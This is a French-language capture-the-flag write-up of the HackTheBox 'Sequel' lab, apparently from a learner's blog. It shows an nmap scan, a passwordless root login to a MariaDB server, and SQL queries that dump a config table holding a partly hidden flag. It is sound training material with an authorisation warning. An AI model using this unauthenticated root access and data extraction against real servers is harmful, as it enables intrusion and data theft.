Aller au contenu

Sequel

Sommaire

Introduction
#

Bienvenue sur Sequel. Cette machine est un excellent exercice pour comprendre comment interagir avec le service MariaDB en ligne de commande. C’est un scénario assez simple, un administrateur a installé un serveur de base de données, mais il a oublié un “petit” détail… mettre un mot de passe au compte super-utilisateur (root).

Warning

Dans ce writeup, je ne publie pas directement le flag final, l’objectif est d’apprendre en pratiquant. Si vous voulez le flag, suivez les étapes sur la machine.

Caution

NOTE : n’attaquez que des machines sur lesquelles vous avez l’autorisation (ex. machines HTB, ou lab perso). Respectez les règles de la plateforme.

Vidéo Walkthrough
#

Je sortirais bientot un tuto vidéo, d’ici la tu peux aller checker ma chaine Youtube RavenBreach


Reconaissance
#

On commence par notre rituel habituel, le scan Nmap. On veut savoir ce qui tourne et dans quelle version.

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV 10.129.33.220

Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-19 07:39 -0500
Nmap scan report for 10.129.33.220
Host is up (0.015s latency).
Not shown: 999 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
3306/tcp open  mysql?
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.3.27-MariaDB-0+deb10u1
|   Thread ID: 65
|   Capabilities flags: 63486
|   Some Capabilities: Support41Auth, DontAllowDatabaseTableColumn, SupportsLoadDataLocal, LongColumnFlag, ODBCClient, Speaks41ProtocolOld, ConnectWithDatabase, Speaks41ProtocolNew, SupportsTransactions, InteractiveClient, IgnoreSpaceBeforeParenthesis, SupportsCompression, IgnoreSigpipes, FoundRows, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: V_X{%?QYLN%ic7%ST.%l
|_  Auth Plugin Name: mysql_native_password

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 204.96 seconds
  • -sC : Lance les scripts de détection par défaut (très utile pour voir si un service accepte les connexions anonymes).
  • -sV : Détecte la version exacte du service.

Résultat du scan, On ne trouve qu’un seul port ouvert : le 3306. Le service est MariaDB (version 5.5.5–10.3.27-MariaDB-0+deb10u1).


Pré-Exploitation
#

Installation du client
#

Pour pouvoir parler à la cible, il nous faut l’outil approprié sur notre machine locale. Si vous ne l’avez pas, installez le client MySQL (qui fonctionne avec mariaDB).

┌─[user@htb][~]
└──╼ []$ sudo apt update && sudo apt install mysql*

Le test de la “porte ouverte”
#

En sécurité, avant de sortir les outils compliqués, on teste toujours la base. MariaDB utilise normalement un combo utilisateur / mot de passe. Mais est-ce que le compte root (celui qui a tous les droits) est protégé ?

┌──(kali㉿kali)-[~]
└─$ mysql -h  10.129.33.220 -u root

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 77
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>
  • -h : L’adresse IP de la cible.
  • -u root : On tente de se connecter en tant qu’administrateur.
Tip

Si vous avez une erreur lié au SSL, utilisé le flag --skip-ssl a la fin de la commande

La connexion est acceptée immédiatement sans demander de mot de passe. On est dans le terminal MariaDB !


Exploitation
#

Maintenant qu’on est à l’intérieur, il faut savoir naviguer. Le langage SQL utilise des commandes très spécifiques. Voici notre feuille de route :

1. Lister les bases de données
#

On veut voir quels sont les “classeurs” disponibles sur ce serveur.

MariaDB [(none)]> SHOW databases;

+--------------------+
| Database           |
+--------------------+
| htb                |
| information_schema |
| mysql              |
| performance_schema |
+--------------------+
4 rows in set (0.017 sec)

On repère une base nommée htb. C’est clairement notre cible.

2. Entrer dans la base
#

C’est l’équivalent d’un cd dans un terminal.

MariaDB [(none)]> USE htb;

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [htb]>

3. Lister les tables
#

Une base de données contient des tables (comme des feuilles Excel). Voyons ce qu’il y a dans htb.

MariaDB [htb]> SHOW tables;

+---------------+
| Tables_in_htb |
+---------------+
| config        |
| users         |
+---------------+
2 rows in set (0.012 sec)

Le serveur nous renvoie deux tables : config et users

4. Extraire les données
#

C’est le moment de vérité. On va demander d’afficher tout le contenu de la table config pour voir si le flag s’y cache.

MariaDB [htb]> SELECT * FROM config;

+----+-----------------------+----------------------------------+
| id | name                  | value                            |
+----+-----------------------+----------------------------------+
|  1 | timeout               | 60s                              |
|  2 | security              | default                          |
|  3 | auto_logon            | false                            |
|  4 | max_size              | 2M                               |
|  5 | flag                  | 7b4{...}da8                      |
|  6 | enable_uploads        | false                            |
|  7 | authentication_method | radius                           |
+----+-----------------------+----------------------------------+
7 rows in set (0.012 sec)

Et boum ! Le terminal nous affiche une ligne avec notre précieux flag : 7b4{…}da8

La machine est pwned !

RavenBreach
Auteur
RavenBreach
J’apprends la cybersec. Je pwn des box, mais c’est surtout elles qui pwn mon sommeil. Voici mes walkthrough et mes tips (oui, j’ose).